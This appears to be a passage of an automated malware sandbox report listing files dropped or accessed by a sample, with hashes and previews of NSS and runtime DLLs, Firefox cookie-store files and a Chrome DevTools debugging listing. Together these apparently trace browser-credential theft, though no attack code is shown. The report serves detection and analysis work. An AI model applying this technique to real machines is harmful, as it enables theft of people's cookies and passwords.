MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\chrome.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	692736
Entropy (8bit):	6.304379785339226
Encrypted:	false
SSDEEP:	12288:Kk5nGNLFzxC+gej5yNcTN+pt+tLK75PL2rn65hYVKKuKOvy/j3t:KMGNL/geFyNcTN+jv75TQn652VBuNyb
MD5:	EDA18948A989176F4EEBB175CE806255
SHA1:	FF22A3D5F5FB705137F233C36622C79EAB995897
SHA-256:	81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4
SHA-512:	160ED9990C37A4753FC0F5111C94414568654AFBEDC05308308197DF2A99594F2D5D8FE511FD2279543A869ED20248E603D88A0B9B8FB119E8E6131B0C52FF85
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Ky4J8k89A7.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: b4s45TboUL.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s,.>7M.m7M.m7M.m\|5.l<M.m\|5.l.M.m\|5.l#M.m'..l"M.m'..l'M.m'..l.M.m\|5.l:M.m7M.m.M.m7M.mlM.m...l6M.m...l6M.mRich7M.m........................PE..L......g.........."!...)............P.....................................................@..........................\..l...<].................................. 8...(..T....................(......@'..@............................................text............................... ..`.rdata..zV.......X..................@..@.data...T....p.......N..............@....reloc.. 8.......:...X..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Ky4J8k89A7.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 0T32Kz4dZU.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.383137419769996
Encrypted:	false
SSDEEP:	48:SfNaoQ/QcTEQ/4fNaoQz9yQzFfNaoQpQOYfNaoQ3mVmT0UrU0U8Q3mp:6NnQ/QcTEQ/ENnQz9yQzxNnQpQnNnQ3J
MD5:	2F8973837B99382A2F2786A4EFCC8F36
SHA1:	001ABFEC82D03274D1E002391D24B92A0E6D10D8
SHA-256:	B863F7BF4EE30FD9CDEE2DD958890F6890AF48496D007CAC9541D462325B49F8
SHA-512:	B10F996BBD209C269122E1DA1EC071B50CD927E0C8BDA142865F4D6411D5768EEBF3F3FF94ED0A0FFB9E4EB546B2692383587A268F728EE895A7854A7613FAC9
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/05297EB53B0C9C91A8EB91662F3FC9AD",.. "id": "05297EB53B0C9C91A8EB91662F3FC9AD",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/05297EB53B0C9C91A8EB91662F3FC9AD"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/E7F2775D7723D32EDFF11A005F06F8A5",.. "id": "E7F2775D7723D32EDFF11A005F06F8A5",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/E7F2775D7723D32EDFF11A005F06F8A5"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTuKvZ-nsYNivRzfGpm8QSi6tMFrvg"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2287)
Category:	downloaded
Size (bytes):	178061
Entropy (8bit):	5.555305495625512
Encrypted:	false
SSDEEP:	3072:i7bpK2pOwPnpW+DsZDbnjuBv5Vjq3B30GSK20YOA2ZPnpm6UzDnI13o2Mn5Pz5R3:i7bzO6I+DsZDDjuBv5Vjq3B30GSXOA24
MD5:	2901E98725751AAF9E3A6DA8A0AE100F
SHA1:	9A03B9B58521464BEA5EFDB95898D7A4DE2D66C6
SHA-256:	783C8FCA9918286C64FDD9C6DF8BB841815E5F6BA7BA95424DF63EA1ACF01B2D
SHA-512:	21235956E9B45B0C78055C8862072DE63FB1971F6396945610AC925A3E9D2D9FFAEC996DF4A64B33BC57B0EF6CF185A68DAC17D9AD5E570277CDD2BB869C9EBD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.mTUNAFoITms.2019.O/rt=j/m=q_d,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTu-nsZOrMYTmX5E4o0SDpwg5MUFYA"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.kj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var lj,mj,oj,rj,uj,tj,nj,sj;lj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};mj=function(){_.Ka()};oj=function(){nj===void 0&&(nj=typeof WeakMap==="function"?lj(WeakMap):null);return nj};rj=function(a,b){(_.pj\|\|(_.pj=new nj)).set(a,b);(_.qj\|\|(_.qj=new nj)).set(b,a)};.uj=function(a){if(sj===void 0){const b=new tj([],{});sj=Array.prototype.concat.call([],b).length===1}sj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.vj=function(a,b,c,d){a=_.zb(a,b,c,d);return Array.isArray(a)?a:_.Qc};_.wj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.xj=function(a,b){a===0&&(a=_.wj(a,b));return a\|1};_.yj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.zj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.Dj=function(a,b,c,d,e,f,g){const h=a.ea;var k=!!(2&b);e=k?

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (823)
Category:	downloaded
Size (bytes):	828
Entropy (8bit):	5.1943079283469205
Encrypted:	false
SSDEEP:	24:cmaRTo5GtX3BHslgT9lCuABuoB7HHHHHHHYqmffffffo:eE5GtnKlgZ01BuSEqmffffffo
MD5:	165114C03B2DD77F263969BE7373321A
SHA1:	2335FB5F3992688052A471F26F7B7EE147344DC0
SHA-256:	DC899D0CC8CED2A8C27FEEE4898FB84F9D7E1AAFD05FF7179AB93138EE3BA490
SHA-512:	93BAAA5FF7D0A930A059089B46FE05C119C312EC910B1425BFAB302502897295C14085E900413402A09B3CDFFC43C183CBCCF1804444AEB69493CB5BE67335C9
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
